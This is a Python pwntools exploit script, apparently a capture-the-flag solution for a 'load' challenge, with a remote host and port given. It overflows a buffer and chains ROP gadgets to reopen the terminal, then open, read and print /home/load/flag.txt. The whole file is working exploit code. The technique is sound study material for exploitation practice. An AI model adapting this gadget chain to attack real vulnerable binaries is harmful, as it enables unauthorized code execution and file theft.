#!/usr/bin/python2

# make payload to excute some gadgets
from pwn import *
import sys
import os

def rdi(a):
	return p64(0x400a73) + p64(a)

def rsi(a):
	return p64(0x400a71) + p64(a) + p64(0xdeadbeef)

def rdx(a): #rbp must be 1
	out = p64(0x400a6b) #pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
	out += p64(1)
	out += p64(0x600FC0) # GOT_close
	out += p64(a)
	out += p64(0x1337)*2
	out += p64(0x400A46) #mov rdx, r13
	out += "A"*8*7 # rbx, rbp, r12, r13, r14, r15
	return out


def exploit(conn) :
    payload = "A" * 56  # dummy for overflow

    # open("/dev/pts/(sysarg)", 0x2702)
    payload += rsi(0x2702)  # flag
    payload += rdi(0x601040 + len("/proc/self/fd/0\0")) # location of /dev/tty/?
    payload += p64(0x00400710)  # reloc.open

    # open("/dev/pts/(sysarg)", 0x2702) 
    payload += rsi(0x2702)
    payload += rdi(0x601040 + len("/proc/self/fd/0\0"))
    payload += p64(0x400710)

    # open("/home/load/flag.txt", O_RONLY)
    payload += rsi(0)
    payload += rdi(0x601040 + len("/proc/self/fd/0\0" + "/dev/pts/" + sys.argv[1] + "\0" ))
    payload += p64(0x400710)

    # read(2, buf, 1000)
    payload += rdx(1000)
    payload += rsi(0x601000)
    payload += rdi(2)
    payload += p64(0x004006e8)

    # puts(buf)
    payload += rdi(0x601000)
    payload += p64(0x4006c0)
    
    # my file name is stored at 0x601040
    # /proc/slef/fd/0 is for input my payload
    # /dev/pts is for reopen stdout
    # last one is flag
    conn.sendline("/proc/self/fd/0\0" + "/dev/pts/" + sys.argv[1] + "\0" + "/home/load/flag.txt\0")
    conn.sendline("0")
    conn.sendline(str(len(payload)))
    conn.sendline(payload)

    conn.interactive()

    return



def main() :
    
    if sys.argv[-1] == "remote" :
        conn = remote('pwn1.chal.ctf.westerns.tokyo', 34835)
        exploit(conn)
    
    # for debugging
    else :
        conn = process('./load') 
        exploit(conn)
        
    return

if __name__ == "__main__" :

    main()

